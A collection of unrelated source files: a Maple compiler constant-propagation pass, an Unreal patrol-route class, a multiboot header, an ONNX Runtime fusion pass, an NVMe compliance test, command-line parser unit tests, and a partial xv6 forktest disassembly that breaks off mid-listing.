actualarg.push_back(ActualArgPair(i, static_cast<MIRIntConst *>(constnode)->value)); } } } } uint32 i = 0; for (; i < clonedFunctions.size(); i++) { if (!strcmp(oldcallee->GetName().c_str(), clonedFunctions[i].oldfuncname.c_str())) { if (actualarg.size() == clonedFunctions[i].actualarg.size()) { uint32 j = 0; for (; j < actualarg.size(); j++) { if (actualarg[j].first != clonedFunctions[i].actualarg[j].first || actualarg[j].second != clonedFunctions[i].actualarg[j].second) { break; } } if (j == actualarg.size()) { callnode->puIdx = clonedFunctions[i].clonedidx; break; } } } } if (i < clonedFunctions.size()) { continue; } // construct new function name string oldfuncname = oldcallee->GetName(); std::size_t found = oldfuncname.find_last_of("|"); if (found == std::string::npos) { FATAL(kLncFatal, "can not find \"|\" in oldfuncname"); } std::string newfuncname(""); newfuncname.append(oldfuncname.substr(0, found)); newfuncname.append("_MAPLECONSTANTPROP_" + std::to_string(GlobalTables::GetFunctionTable().funcTable.size()) + "|"); newfuncname.append(oldfuncname.substr(found + 1)); MIRFunction *newcallee = CloneFunction(oldcallee, newfuncname); ClonedFunction *clonedFunction = new ClonedFunction(); clonedFunction->oldfuncname = oldcallee->GetName(); clonedFunction->clonedfuncname = newcallee->GetName(); for (uint32 i = 0; i < actualarg.size(); i++) { clonedFunction->actualarg.push_back(actualarg[i]); } clonedFunction->clonedidx = newcallee->puIdx; clonedFunctions.push_back(*clonedFunction); delete clonedFunction; clonedFunction = nullptr; for (uint32 i = 0; i < argsize; i++) { if (callnode->Opnd(i)->op != OP_dread) { MIRSymbol *newFormal = newcallee->symTab->GetSymbolFromStIdx(newcallee->formalDefVec[i].formalSym->GetStIndex()); DassignNode *dassignstmt = mirBuilder.CreateStmtDassign(newFormal, 0, callnode->Opnd(i)); newcallee->body->InsertBefore(newcallee->body->GetFirst(), dassignstmt); } } // update class method if (oldcallee->classTyIdx != 0) { MIRType *classtype = GlobalTables::GetTypeTable().typeTable[oldcallee->classTyIdx.GetIdx()]; MIRStructType *mirstructtype = static_cast<MIRStructType *>(classtype); uint32 i = 0; for (; i < mirstructtype->methods.size(); i++) { if (mirstructtype->methods[i].first == oldcallee->stIdx) { mirstructtype->methods.push_back(MethodPair(newcallee->stIdx, mirstructtype->methods[i].second)); break; } } CHECK_FATAL(i < mirstructtype->methods.size(), ""); } mirBuilder.SetCurrentFunction(curFunction); // Update call site function idx of the call stmt callnode->puIdx = newcallee->puIdx; } } } } } AnalysisResult *MeDoIntraConstProp::Run(MeFunction *func, MeFuncResultMgr *frm, ModuleResultMgr *mrm) { MemPool *constpropmp = mempoolctrler.NewMemPool(PhaseName().c_str()); MeConstProp *meconstprop = constpropmp->New<MeConstProp>(func, constpropmp); meconstprop->IntraConstProp(); /* this is a transform phase, delete mempool */ mempoolctrler.DeleteMemPool(constpropmp); return nullptr; } AnalysisResult *MeDoInterConstProp::Run(MeFunction *func, MeFuncResultMgr *frm, ModuleResultMgr *mrm) { MemPool *constpropmp = mempoolctrler.NewMemPool(PhaseName().c_str()); MeConstProp *meconstprop = constpropmp->New<MeConstProp>(func, constpropmp); meconstprop->InterConstProp(); /* this is a transform phase, delete mempool */ mempoolctrler.DeleteMemPool(constpropmp); return nullptr; } } // namespace maple
// Copywrite, ciN 2017 #include "TestingGround.h" #include "PatrolRoute.h" AActor* UPatrolRoute::GetPatrolPoint(int32 InIndex) const { if (FMath::IsWithin(InIndex, 0, PatrolPoints.Num())) { return PatrolPoints[InIndex]; } return nullptr; } int32 UPatrolRoute::GetPatrolPointLength() { return PatrolPoints.Num(); }
section .multiboot_header header_start: dd 0xe85250d6 ; magic number (multiboot 2) dd 0 ; architecture 0 (protected mode i386) dd header_end - header_start ; checksum dd 0x100000000 - (0xe85250d6 + 0 + (header_end - header_start)) ; ; required end tag dw 0 dw 0 dd 8 header_end:
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include "core/graph/initializer.h" #include "core/graph/gemm_activation_fusion.h" #include "core/graph/graph_utils.h" #include <deque> using namespace onnx; using namespace ::onnxruntime::common; namespace onnxruntime { namespace { bool IsFusableActivation(const Node& node) { return utils::IsSupportedOptypeVersionAndDomain(node, "LeakyRelu", 6) || utils::IsSupportedOptypeVersionAndDomain(node, "Relu", 6) || utils::IsSupportedOptypeVersionAndDomain(node, "Sigmoid", 6) || utils::IsSupportedOptypeVersionAndDomain(node, "Tanh", 6); } void HandleActivationNodeEdges(Graph& g, const Node& act, Node& fused_gemm) { Node::EdgeSet output_edges; for (auto it = act.OutputEdgesBegin(); it != act.OutputEdgesEnd(); ++it) { output_edges.insert(*it); } //remove output edge of activation //connect fused_gemm node and nodes after activation nodes for (auto& output_edge : output_edges) { NodeIndex dst_node_index = output_edge.GetNode().Index(); int src_arg_index = output_edge.GetSrcArgIndex(); int dst_arg_index = output_edge.GetDstArgIndex(); g.RemoveEdge(act.Index(), dst_node_index, src_arg_index, dst_arg_index); g.AddEdge(fused_gemm.Index(), dst_node_index, 0, dst_arg_index); } } } // namespace Status GemmActivationFusion::Apply(Graph& graph, bool& modified) const { GraphViewer graph_viewer(graph); const auto& order = graph_viewer.GetNodesInTopologicalOrder(); std::deque<onnxruntime::NodeIndex> removed_nodes; for (auto index : order) { auto node = graph.GetNode(index); if (!(utils::IsSupportedOptypeVersionAndDomain(*node, "Gemm", 7) || utils::IsSupportedOptypeVersionAndDomain(*node, "Gemm", 9)) || node->GetOutputEdgesCount() != 1) { continue; } const Node& next_node = *(node->OutputNodesBegin()); if (!IsFusableActivation(next_node)) { continue; } Node* gemm_node = node; const Node& act_node = next_node; Node& fused_gemm = graph.AddNode(graph.GenerateNodeName("fused " + gemm_node->Name()), "FusedGemm", "fused Gemm " + gemm_node->Name() + "with activation " + act_node.OpType(), gemm_node->MutableInputDefs(), graph.IsNodeOutputsInGraphOutputs(next_node) ? const_cast<Node&>(act_node).MutableOutputDefs() : gemm_node->MutableOutputDefs(), &gemm_node->GetAttributes(), "com.microsoft"); //Add a new attribute to specify the activation type fused_gemm.AddAttribute("activation", act_node.OpType()); //Add optional attributes for activations if (act_node.OpType() == "LeakyRelu") { const NodeAttributes attrs = act_node.GetAttributes(); for (auto it = attrs.begin(); it != attrs.end(); ++it) { fused_gemm.AddAttribute("leaky_relu_" + it->first, it->second); } } if (!graph.IsNodeOutputsInGraphOutputs(next_node)) { HandleActivationNodeEdges(graph, act_node, fused_gemm); // Replace the input of the node following activation node const NodeArg* act_output_def = act_node.OutputDefs()[0]; NodeArg* fused_gemm_output_def = fused_gemm.MutableOutputDefs()[0]; for (auto it = act_node.OutputNodesBegin(); it != act_node.OutputNodesEnd(); ++it) { auto output_node = graph.GetNode((*it).Index()); if (!output_node) { return Status(ONNXRUNTIME, INVALID_ARGUMENT); } auto& input_defs = output_node->MutableInputDefs(); for (auto& def : input_defs) { if (def == act_output_def) { def = fused_gemm_output_def; } } } } removed_nodes.push_front(gemm_node->Index()); removed_nodes.push_front(act_node.Index()); } for (auto node : removed_nodes) { graph.RemoveNode(node); } if (!removed_nodes.empty()) { modified = true; ORT_RETURN_IF_ERROR(graph.Resolve()); } return Status::OK(); } } // namespace onnxruntime
/* * Copyright (c) 2011, Intel Corporation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <boost/format.hpp> #include "protInfoIgnoreMeta_r12.h" #include "globals.h" #include "grpDefs.h" #include "../Utils/io.h" #include "../Utils/irq.h" #include "../Cmds/read.h" namespace GrpNVMReadCmd { ProtInfoIgnoreMeta_r12::ProtInfoIgnoreMeta_r12( string grpName, string testName) : Test(grpName, testName, SPECREV_12) { // 63 chars allowed: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx mTestDesc.SetCompliance("revision 1.2, section 6"); mTestDesc.SetShort( "Verify protection info (PRINFO) is ignored for meta namspc"); // No string size limit for the long description mTestDesc.SetLong( "For all meta namspcs from Identify.NN; For each namspc issue multiple " "read cmds where each is reading 1 data block at LBA 0 and approp " "metadata requirements, and vary the values of DW12.PRINFO " "from 0x0 to 0x0f, expect success for all."); } ProtInfoIgnoreMeta_r12::~ProtInfoIgnoreMeta_r12() { /////////////////////////////////////////////////////////////////////////// // Allocations taken from the heap and not under the control of the // RsrcMngr need to be freed/deleted here. /////////////////////////////////////////////////////////////////////////// } ProtInfoIgnoreMeta_r12:: ProtInfoIgnoreMeta_r12(const ProtInfoIgnoreMeta_r12 &other) : Test(other) { /////////////////////////////////////////////////////////////////////////// // All pointers in this object must be NULL, never allow shallow or deep // copies, see Test::Clone() header comment. /////////////////////////////////////////////////////////////////////////// } ProtInfoIgnoreMeta_r12 & ProtInfoIgnoreMeta_r12::operator=(const ProtInfoIgnoreMeta_r12 &other) { /////////////////////////////////////////////////////////////////////////// // All pointers in this object must be NULL, never allow shallow or deep // copies, see Test::Clone() header comment. /////////////////////////////////////////////////////////////////////////// Test::operator=(other); return *this; } Test::RunType ProtInfoIgnoreMeta_r12::RunnableCoreTest(bool preserve) { /////////////////////////////////////////////////////////////////////////// // All code contained herein must never permanently modify the state or // configuration of the DUT. Permanence is defined as state or configuration // changes that will not be restored after a cold hard reset. /////////////////////////////////////////////////////////////////////////// preserve = preserve; // Suppress compiler error/warning return RUN_TRUE; // This test is never destructive } void ProtInfoIgnoreMeta_r12::RunCoreTest() { /** \verbatim * Assumptions: * 1) None. * \endverbatim */ string context; ConstSharedIdentifyPtr namSpcPtr; SharedIOSQPtr iosq; SharedIOCQPtr iocq; send_64b_bitmask prpBitmask = (send_64b_bitmask) (MASK_PRP1_PAGE | MASK_PRP2_PAGE | MASK_PRP2_LIST); if (gCtrlrConfig->SetState(ST_DISABLE_COMPLETELY) == false) throw FrmwkEx(HERE); SharedACQPtr acq = SharedACQPtr(new ACQ(gDutFd)); acq->Init(5); SharedASQPtr asq = SharedASQPtr(new ASQ(gDutFd)); asq->Init(5); LOG_NRM("Get all the supported meta namespaces"); vector<uint32_t> meta = gInformative->GetMetaNamespaces(); for (size_t i = 0; i < meta.size(); i++) { namSpcPtr = gInformative->GetIdentifyCmdNamspc(meta[i]); if (namSpcPtr->isZeroFilled()) { LOG_NRM("Namespace %lu is inactive", i); } else { if (gCtrlrConfig->SetState(ST_DISABLE) == false) throw FrmwkEx(HERE); // All queues will use identical IRQ vector IRQ::SetAnySchemeSpecifyNum(1); gCtrlrConfig->SetCSS(CtrlrConfig::CSS_NVM_CMDSET); if (gCtrlrConfig->SetState(ST_ENABLE) == false) throw FrmwkEx(HERE); LOG_NRM("Create IOSQ and IOCQ with ID #%d", IOQ_ID); CreateIOQs(asq, acq, IOQ_ID, iosq, iocq); LOG_NRM("Get LBA format and lba data size for namespc #%d", meta[i]); LBAFormat lbaFormat = namSpcPtr->GetLBAFormat(); uint64_t lbaDataSize = (1 << lbaFormat.LBADS); LOG_NRM("Create a read cmd to read data from namspc %d", meta[i]); SharedReadPtr readCmd = SharedReadPtr(new Read()); LOG_NRM("Create memory to contain read payload"); SharedMemBufferPtr readMem = SharedMemBufferPtr(new MemBuffer()); Informative::NamspcType nsType = gInformative->IdentifyNamespace( namSpcPtr); switch (nsType) { case Informative::NS_BARE: throw FrmwkEx(HERE, "Namspc type cannot be BARE."); case Informative::NS_METAS: readMem->Init(lbaDataSize); if (gRsrcMngr->SetMetaAllocSize(lbaFormat.MS) == false) throw FrmwkEx(HERE); readCmd->AllocMetaBuffer(); break; case Informative::NS_METAI: readMem->Init(lbaDataSize + lbaFormat.MS); break; case Informative::NS_E2ES: case Informative::NS_E2EI: throw FrmwkEx(HERE, "Deferring work to handle this case in future"); break; } readCmd->SetPrpBuffer(prpBitmask, readMem); readCmd->SetNSID(meta[i]); readCmd->SetNLB(0); // convert to 0-based value for (uint16_t protInfo = 0; protInfo <= 0x0f; protInfo++) { uint8_t work = readCmd->GetByte(12, 3); work &= ~0x3c; // PRINFO specific bits work |= (protInfo << 2); readCmd->SetByte(work, 12, 3); context = str( boost::format("ns%d.protInfo0x%02X") % (uint32_t)i % protInfo); IO::SendAndReapCmd(mGrpName, mTestName, CALC_TIMEOUT_ms(1), iosq, iocq, readCmd, context, true); } } } } void ProtInfoIgnoreMeta_r12::CreateIOQs(SharedASQPtr asq, SharedACQPtr acq, uint32_t ioqId, SharedIOSQPtr &iosq, SharedIOCQPtr &iocq) { uint32_t numEntries = 2; gCtrlrConfig->SetIOCQES((gInformative->GetIdentifyCmdCtrlr()-> GetValue(IDCTRLRCAP_CQES) & 0xf)); gCtrlrConfig->SetIOSQES((gInformative->GetIdentifyCmdCtrlr()-> GetValue(IDCTRLRCAP_SQES) & 0xf)); if (Queues::SupportDiscontigIOQ() == true) { uint8_t iocqes = (gInformative->GetIdentifyCmdCtrlr()-> GetValue(IDCTRLRCAP_CQES) & 0xf); uint8_t iosqes = (gInformative->GetIdentifyCmdCtrlr()-> GetValue(IDCTRLRCAP_SQES) & 0xf); SharedMemBufferPtr iocqBackedMem = SharedMemBufferPtr(new MemBuffer()); iocqBackedMem->InitOffset1stPage((numEntries * (1 << iocqes)), 0, true); iocq = Queues::CreateIOCQDiscontigToHdw(mGrpName, mTestName, CALC_TIMEOUT_ms(1), asq, acq, ioqId, numEntries, false, IOCQ_GROUP_ID, true, 0, iocqBackedMem); SharedMemBufferPtr iosqBackedMem = SharedMemBufferPtr(new MemBuffer()); iosqBackedMem->InitOffset1stPage((numEntries * (1 << iosqes)), 0,true); iosq = Queues::CreateIOSQDiscontigToHdw(mGrpName, mTestName, CALC_TIMEOUT_ms(1), asq, acq, ioqId, numEntries, false, IOSQ_GROUP_ID, ioqId, 0, iosqBackedMem); } else { iocq = Queues::CreateIOCQContigToHdw(mGrpName, mTestName, CALC_TIMEOUT_ms(1), asq, acq, ioqId, numEntries, false, IOCQ_GROUP_ID, true, 0); iosq = Queues::CreateIOSQContigToHdw(mGrpName, mTestName, CALC_TIMEOUT_ms(1), asq, acq, ioqId, numEntries, false, IOSQ_GROUP_ID, ioqId, 0); } } } // namespace
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #include <Tests/TestTypes.h> #include <AzFramework/CommandLine/CommandLine.h> using namespace AzFramework; namespace UnitTest { class CommandLineTests : public AllocatorsFixture { }; TEST_F(CommandLineTests, CommandLineParser_Sanity) { CommandLine cmd; EXPECT_FALSE(cmd.HasSwitch("")); EXPECT_EQ(cmd.GetNumSwitchValues("haha"), 0); EXPECT_EQ(cmd.GetSwitchValue("haha", 0), AZStd::string()); EXPECT_EQ(cmd.GetNumMiscValues(), 0); AZ_TEST_START_ASSERTTEST; EXPECT_EQ(cmd.GetMiscValue(1), AZStd::string()); AZ_TEST_STOP_ASSERTTEST(1); } TEST_F(CommandLineTests, CommandLineParser_Switches_Simple) { CommandLine cmd; const char* argValues[] = { "programname.exe", "/switch1", "test", "/switch2", "test2", "/switch3", "tEST3" }; cmd.Parse(7, const_cast<char**>(argValues)); EXPECT_FALSE(cmd.HasSwitch("switch4")); EXPECT_TRUE(cmd.HasSwitch("switch3")); EXPECT_TRUE(cmd.HasSwitch("sWITCH2")); // expect case insensitive EXPECT_TRUE(cmd.HasSwitch("switch1")); EXPECT_EQ(cmd.GetNumSwitchValues("switch1"), 1); EXPECT_EQ(cmd.GetNumSwitchValues("switch2"), 1); EXPECT_EQ(cmd.GetNumSwitchValues("switch3"), 1); EXPECT_EQ(cmd.GetSwitchValue("switch1", 0), "test"); EXPECT_EQ(cmd.GetSwitchValue("switch2", 0), "test2"); EXPECT_EQ(cmd.GetSwitchValue("switch3", 0), "tEST3"); // retain case in values. AZ_TEST_START_ASSERTTEST; EXPECT_EQ(cmd.GetSwitchValue("switch1", 1), AZStd::string()); EXPECT_EQ(cmd.GetSwitchValue("switch2", 1), AZStd::string()); EXPECT_EQ(cmd.GetSwitchValue("switch3", 1), AZStd::string()); AZ_TEST_STOP_ASSERTTEST(3); } TEST_F(CommandLineTests, CommandLineParser_MiscValues_Simple) { CommandLine cmd; const char* argValues[] = { "programname.exe", "/switch1", "test", "miscvalue1", "miscvalue2" }; cmd.Parse(5, const_cast<char**>(argValues)); EXPECT_TRUE(cmd.HasSwitch("switch1")); EXPECT_EQ(cmd.GetNumSwitchValues("switch1"), 1); EXPECT_EQ(cmd.GetSwitchValue("switch1", 0), "test"); EXPECT_EQ(cmd.GetNumMiscValues(), 2); EXPECT_EQ(cmd.GetMiscValue(0), "miscvalue1"); EXPECT_EQ(cmd.GetMiscValue(1), "miscvalue2"); } TEST_F(CommandLineTests, CommandLineParser_Complex) { CommandLine cmd; const char* argValues[] = { "programname.exe", "-switch1", "test", "--switch1", "test2", "/switch2", "otherswitch", "miscvalue", "/switch3=abc,def", "miscvalue2", "/switch3", "hij,klm" }; cmd.Parse(12, const_cast<char**>(argValues)); EXPECT_TRUE(cmd.HasSwitch("switch1")); EXPECT_TRUE(cmd.HasSwitch("switch2")); EXPECT_EQ(cmd.GetNumMiscValues(), 2); EXPECT_EQ(cmd.GetMiscValue(0), "miscvalue"); EXPECT_EQ(cmd.GetMiscValue(1), "miscvalue2"); EXPECT_EQ(cmd.GetNumSwitchValues("switch1"), 2); EXPECT_EQ(cmd.GetNumSwitchValues("switch2"), 1); EXPECT_EQ(cmd.GetNumSwitchValues("switch3"), 4); EXPECT_EQ(cmd.GetSwitchValue("switch1", 0), "test"); EXPECT_EQ(cmd.GetSwitchValue("switch1", 1), "test2"); EXPECT_EQ(cmd.GetSwitchValue("switch2", 0), "otherswitch"); EXPECT_EQ(cmd.GetSwitchValue("switch3", 0), "abc"); EXPECT_EQ(cmd.GetSwitchValue("switch3", 1), "def"); EXPECT_EQ(cmd.GetSwitchValue("switch3", 2), "hij"); EXPECT_EQ(cmd.GetSwitchValue("switch3", 3), "klm"); } TEST_F(CommandLineTests, CommandLineParser_WhitespaceTolerant) { CommandLine cmd; const char* argValues[] = { "programname.exe", "/switch1 ", "test ", " /switch1", " test2", " --switch1", " abc, def ", " /switch1 = abc, def " }; cmd.Parse(8, const_cast<char**>(argValues)); EXPECT_TRUE(cmd.HasSwitch("switch1")); EXPECT_EQ(cmd.GetSwitchValue("switch1", 0), "test"); EXPECT_EQ(cmd.GetSwitchValue("switch1", 1), "test2"); EXPECT_EQ(cmd.GetSwitchValue("switch1", 2), "abc"); EXPECT_EQ(cmd.GetSwitchValue("switch1", 3), "def"); // note: Every switch must appear in the order it is given, even duplicates. EXPECT_EQ(cmd.GetSwitchValue("switch1", 4), "abc"); EXPECT_EQ(cmd.GetSwitchValue("switch1", 5), "def"); } } // namespace UnitTest
_forktest: file format elf32-i386 Disassembly of section .text: 00000000 <printf>: #define N 1000 void printf(int fd, char *s, ...) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 18 sub $0x18,%esp write(fd, s, strlen(s)); 6: 8b 45 0c mov 0xc(%ebp),%eax 9: 89 04 24 mov %eax,(%esp) c: e8 98 01 00 00 call 1a9 <strlen> 11: 89 44 24 08 mov %eax,0x8(%esp) 15: 8b 45 0c mov 0xc(%ebp),%eax 18: 89 44 24 04 mov %eax,0x4(%esp) 1c: 8b 45 08 mov 0x8(%ebp),%eax 1f: 89 04 24 mov %eax,(%esp) 22: e8 76 03 00 00 call 39d <write> } 27: c9 leave 28: c3 ret 00000029 <forktest>: void forktest(void) { 29: 55 push %ebp 2a: 89 e5 mov %esp,%ebp 2c: 83 ec 28 sub $0x28,%esp int n, pid; printf(1, "fork test\n"); 2f: c7 44 24 04 38 04 00 movl $0x438,0x4(%esp) 36: 00 37: c7 04 24 01 00 00 00 movl $0x1,(%esp) 3e: e8 bd ff ff ff call 0 <printf> for(n=0; n<N; n++){ 43: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 4a: eb 1f jmp 6b <forktest+0x42> pid = fork(); 4c: e8 24 03 00 00 call 375 <fork> 51: 89 45 f0 mov %eax,-0x10(%ebp) if(pid < 0) 54: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 58: 79 02 jns 5c <forktest+0x33> break; 5a: eb 18 jmp 74 <forktest+0x4b> if(pid == 0) 5c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 60: 75 05 jne 67 <forktest+0x3e> exit(); 62: e8 16 03 00 00 call 37d <exit> { int n, pid; printf(1, "fork test\n"); for(n=0; n<N; n++){ 67: 83 45 f4 01 addl $0x1,-0xc(%ebp) 6b: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp) 72: 7e d8 jle 4c <forktest+0x23> break; if(pid == 0) exit(); } if(n == N){ 74: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp) 7b: 75 21 jne 9e <forktest+0x75> printf(1, "fork claimed to work N times!\n", N); 7d: c7 44 24 08 e8 03 00 movl $0x3e8,0x8(%esp) 84: 00 85: c7 44 24 04 44 04 00 movl $0x444,0x4(%esp) 8c: 00 8d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 94: e8 67 ff ff ff call 0 <printf> exit(); 99: e8 df 02 00 00 call 37d <exit> } for(; n > 0; n--){ 9e: eb 26 jmp c6 <forktest+0x9d> if(wait() < 0){ a0: e8 e0 02 00 00 call 385 <wait> a5: 85 c0 test %eax,%eax a7: 79 19 jns c2 <forktest+0x99> printf(1, "wait stopped early\n"); a9: c7 44 24 04 63 04 00 movl $0x463,0x4(%esp) b0: 00 b1: c7 04 24 01 00 00 00 movl $0x1,(%esp) b8: e8 43 ff ff ff call 0 <printf> exit(); bd: e8 bb 02 00 00 call 37d <exit> if(n == N){ printf(1, "fork claimed to work N times!\n", N); exit(); } for(; n > 0; n--){ c2: 83 6d f4 01 subl $0x1,-0xc(%ebp) c6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) ca: 7f d4 jg a0 <forktest+0x77> printf(1, "wait stopped early\n"); exit(); } } if(wait() != -1){ cc: e8 b4 02 00 00 call 385 <wait> d1: 83 f8 ff cmp $0xffffffff,%eax d4: 74 19 je ef <forktest+0xc6> printf(1, "wait got too many\n"); d6: c7 44 24 04 77 04 00 movl $0x477,0x4(%esp) dd: 00 de: c7 04 24 01 00 00 00 movl $0x1,(%esp) e5: e8 16 ff ff ff call 0 <printf> exit(); ea: e8 8e 02 00 00 call 37d <exit> } printf(1, "fork test OK\n"); ef: c7 44 24 04 8a 04 00 movl $0x48a,0x4(%esp) f6: 00 f7: c7 04 24 01 00 00 00 movl $0x1,(%esp) fe: e8 fd fe ff ff call 0 <printf> } 103: c9 leave 104: c3 ret 00000105 <main>: int main(void) { 105: 55 push %ebp 106: 89 e5 mov %esp,%ebp 108: 83 e4 f0 and $0xfffffff0,%esp forktest(); 10b: e8 19 ff ff ff call 29 <forktest> exit(); 110: e8 68 02 00 00 call 37d <exit> 00000115 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 115: 55 push %ebp 116: 89 e5 mov %esp,%ebp 118: 57 push %edi 119: 53 push %ebx asm volatile("cld; rep stosb" : 11a: 8b 4d 08 mov 0x8(%ebp),%ecx 11d: 8b 55 10 mov 0x10(%ebp),%edx 120: 8b 45 0c mov 0xc(%ebp),%eax 123: 89 cb mov %ecx,%ebx 125: 89 df mov %ebx,%edi 127: 89 d1 mov %edx,%ecx 129: fc cld 12a: f3 aa rep stos %al,%es:(%edi) 12c: 89 ca mov %ecx,%edx 12e: 89 fb mov %edi,%ebx 130: 89 5d 08 mov %ebx,0x8(%ebp) 133: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 136: 5b pop %ebx 137: 5f pop %edi 138: 5d pop %ebp 139: c3 ret 0000013a <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 13a: 55 push %ebp 13b: 89 e5 mov %esp,%ebp 13d: 83 ec 10 sub $0x10,%esp char *os; os = s; 140: 8b 45 08 mov 0x8(%ebp),%eax 143: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 146: 90 nop 147: 8b 45 08 mov 0x8(%ebp),%eax 14a: 8d 50 01 lea 0x1(%eax),%edx 14d: 89 55 08 mov %edx,0x8(%ebp) 150: 8b 55 0c mov 0xc(%ebp),%edx 153: 8d 4a 01 lea 0x1(%edx),%ecx 156: 89 4d 0c mov %ecx,0xc(%ebp) 159: 0f b6 12 movzbl (%edx),%edx 15c: 88 10 mov %dl,(%eax) 15e: 0f b6 00 movzbl (%eax),%eax 161: 84 c0 test %al,%al 163: 75 e2 jne 147 <strcpy+0xd> ; return os; 165: 8b 45 fc mov -0x4(%ebp),%eax } 168: c9 leave 169: c3 ret 0000016a <strcmp>: int strcmp(const char *p, const char *q) { 16a: 55 push %ebp 16b: 89 e5 mov %esp,%ebp while(*p && *p == *q) 16d: eb 08 jmp 177 <strcmp+0xd> p++, q++; 16f: 83 45 08 01 addl $0x1,0x8(%ebp) 173: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 177: 8b 45 08 mov 0x8(%ebp),%eax 17a: 0f b6 00 movzbl (%eax),%eax 17d: 84 c0 test %al,%al 17f: 74 10 je 191 <strcmp+0x27> 181: 8b 45 08 mov 0x8(%ebp),%eax 184: 0f b6 10 movzbl (%eax),%edx 187: 8b 45 0c mov 0xc(%ebp),%eax 18a: 0f b6 00 movzbl (%eax),%eax 18d: 38 c2 cmp %al,%dl 18f: 74 de je 16f <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 191: 8b 45 08 mov 0x8(%ebp),%eax 194: 0f b6 00 movzbl (%eax),%eax 197: 0f b6 d0 movzbl %al,%edx 19a: 8b 45 0c mov 0xc(%ebp),%eax 19d: 0f b6 00 movzbl (%eax),%eax 1a0: 0f b6 c0 movzbl %al,%eax 1a3: 29 c2 sub %eax,%edx 1a5: 89 d0 mov %edx,%eax } 1a7: 5d pop %ebp 1a8: c3 ret 000001a9 <strlen>: uint strlen(char *s) { 1a9: 55 push %ebp 1aa: 89 e5 mov %esp,%ebp 1ac: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1af: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 1b6: eb 04 jmp 1bc <strlen+0x13> 1b8: 83 45 fc 01 addl $0x1,-0x4(%ebp) 1bc: 8b 55 fc mov -0x4(%ebp),%edx 1bf: 8b 45 08 mov 0x8(%ebp),%eax 1c2: 01 d0 add %edx,%eax 1c4: 0f b6 00 movzbl (%eax),%eax 1c7: 84 c0 test %al,%al 1c9: 75 ed jne 1b8 <strlen+0xf> ; return n; 1cb: 8b 45 fc mov -0x4(%ebp),%eax } 1ce: c9 leave 1cf: c3 ret 000001d0 <memset>: void* memset(void *dst, int c, uint n) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 1d6: 8b 45 10 mov 0x10(%ebp),%eax 1d9: 89 44 24 08 mov %eax,0x8(%esp) 1dd: 8b 45 0c mov 0xc(%ebp),%eax 1e0: 89 44 24 04 mov %eax,0x4(%esp) 1e4: 8b 45 08 mov 0x8(%ebp),%eax 1e7: 89 04 24 mov %eax,(%esp) 1ea: e8 26 ff ff ff call 115 <stosb> return dst; 1ef: 8b 45 08 mov 0x8(%ebp),%eax } 1f2: c9 leave 1f3: c3 ret 000001f4 <strchr>: char* strchr(const char *s, char c) { 1f4: 55 push %ebp 1f5: 89 e5 mov %esp,%ebp 1f7: 83 ec 04 sub $0x4,%esp 1fa: 8b 45 0c mov 0xc(%ebp),%eax 1fd: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 200: eb 14 jmp 216 <strchr+0x22> if(*s == c) 202: 8b 45 08 mov 0x8(%ebp),%eax 205: 0f b6 00 movzbl (%eax),%eax 208: 3a 45 fc cmp -0x4(%ebp),%al 20b: 75 05 jne 212 <strchr+0x1e> return (char*)s; 20d: 8b 45 08 mov 0x8(%ebp),%eax 210: eb 13 jmp 225 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 212: 83 45 08 01 addl $0x1,0x8(%ebp) 216: 8b 45 08 mov 0x8(%ebp),%eax 219: 0f b6 00 movzbl (%eax),%eax 21c: 84 c0 test %al,%al 21e: 75 e2 jne 202 <strchr+0xe> if(*s == c) return (char*)s; return 0; 220: b8 00 00 00 00 mov $0x0,%eax } 225: c9 leave 226: c3 ret 00000227 <gets>: char* gets(char *buf, int max) { 227: 55 push %ebp 228: 89 e5 mov %esp,%ebp 22a: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 22d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 234: eb 4c jmp 282 <gets+0x5b> cc = read(0, &c, 1); 236: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 23d: 00 23e: 8d 45 ef lea -0x11(%ebp),%eax 241: 89 44 24 04 mov %eax,0x4(%esp) 245: c7 04 24 00 00 00 00 movl $0x0,(%esp) 24c: e8 44 01 00 00 call 395 <read> 251: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 254: 83 7d f0 00 cmpl 